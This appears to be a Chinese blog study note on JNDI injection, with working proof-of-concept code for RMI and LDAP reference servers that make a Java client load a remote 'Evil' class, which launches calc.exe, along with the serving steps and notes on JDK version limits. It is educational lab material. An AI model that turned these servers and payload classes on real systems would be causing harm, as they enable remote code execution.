JNDI注入
简单记录一下学习JNDI时学习到的知识点
JNDI是什么?
前面我们学习过RMI远程方法调用,那是一个RMI SERVER - RMI Client的结构,而 JNDI 也可以从RMI SERVER中获取到对象并执行其中的方法。那么这两者有什么区别呢?
RMI SERVER - RMI Client 结构,方法最终是在RMI SERVER端中执行的
RMI SERVER - JNDI 结构,方法最终是在JNDI客户端执行的
在RMI SERVER - JNDI 结构中,RMI SERVER不只可以绑定本地的对象,还可以通过References类来绑定一个外部对象(这个外部对象的意思是可以通过url进行访问到的,这个url可以指向本地,也可以指向非本地)
JNDI利用RMI执行系统命令
当RMI SERVER - JNDI 结构中的RMI SERVER绑定的是一个外部对象,这时当JNDI通过lookup一个对象时,RMI SERVER返回的是一个ReferenceWrapper_Stub,然后通过ReferenceWrapper_Stub获得一个Reference对象(如下图),然后根据这个对象里的className属性在本地的className指定路径查找有没有Reference对象对应的类,有则直接拿本地的,没有则从classFactoryLocation属性指定的URL中去加载
图片中的Reference对象对应下面代码中的Reference对象,从这里可以知道classFactory、className、factoryLocation属性都是我们可以控制的,那么我们就可以控制JNDI客户端在从哪里加载恶意类了
漏洞演示代码如下(复现时JDK版本为jdk7u80)
RMI Server
package com.vul.JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(8999);
Reference reference = new Reference("1","Evil","http://127.0.0.1:9999/");
ReferenceWrapper ref = new ReferenceWrapper(reference);
registry.bind("payload",ref);
}
}
Evil恶意类(不要和RMI Server放在同一个包下,否则不用开启web服务也能找到这个类)
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
JNDI客户端
package com.vul.JNDI;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
InitialContext initial = new InitialContext();
initial.lookup("rmi://127.0.0.1:8999/payload");
}
}
先开启RMI Server,后把Evil进行编译,再在Evil恶意类目录下用python -m http.server 9999
开启一个简单的web服务,监听端口为9999,此时访问http://127.0.0.1:9999/Evil.class
就能访问到Evil恶意类,最后启动JNDI客户端就能在JNDI客户端的电脑上弹出计算机
注意点
- 第一个就是前面说到的Evil恶意类不要和RMI Server放在同一个包下,甚至是同一个项目
- 第二个就是Evil恶意类不能有包名,也就是不能有
package xxx
,因为有包名的话在通过javac编译java文件时会在方法名也加上包名,这时候会导致不匹配
为什么能在JNDI客户端执行命令?
前面只是说到了能控制JNDI客户端从哪里加载 类,但是为什么会执行命令呢?其实在InitialContext.lookup方法下个断点调试就不难发现在加载类的时候是通过Class.forName加载类的,且第二个参数为true,这时候就会执行恶意类的静态代码块。加载类之后再通过(ObjectFactory) clas.newInstance()
实例化类,这时候就会执行恶意类的构造方法。在实例化之后把类转换为ObjectFactory,之后再调用factory.getObjectInstance
方法,factory就是实例化的对象,所以恶意类中的getObjectInstance方法的代码也会被执行,但是前提条件是实例化出来的对象能成功转换为ObjectFactory,那么就需要恶意类 实现 ObjectFactory接口。
所以,构造的恶意类可以在三个地方写入命令执行代码
- 在构造方法中写入恶意代码
- 在静态代码块中写入恶意代码
- 在getObjectInstance方法中写入恶意代码,这时候需要恶意类 实现 ObjectFactory接口
JNDI利用RMI的局限性
JNDI利用RMI存在版本局限,下面贴一张啦啦0咯咯师傅的图
JNDI不只是可以调用RMI服务,还可以调用LDAP服务,且没有那么多的版本局限!
JNDI利用LDAP
需要先引入一个依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
直接上漏洞演示代码(复现时JDK版本为jdk7u15)
LdapServer
package org.vul;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:9999/#Evil";
int port = 8999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Evil恶意类
public class Evil{
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
JNDI客户端
package org.vul;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
InitialContext initial = new InitialContext();
initial.lookup("ldap://127.0.0.1:8999/payload");
}
}
JNDI利用LDAP的局限性
JNDI利用LDAP存在版本局限,下面贴一张啦啦0咯咯师傅的图
总结
本文只是简单叙述了学习JNDI过程中遇到的一些注意点,学习的话还是参考下面链接吧,文章可能存在理解上的偏差,若有错误,还请指正
https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://ego00.blog.csdn.net/article/details/120048519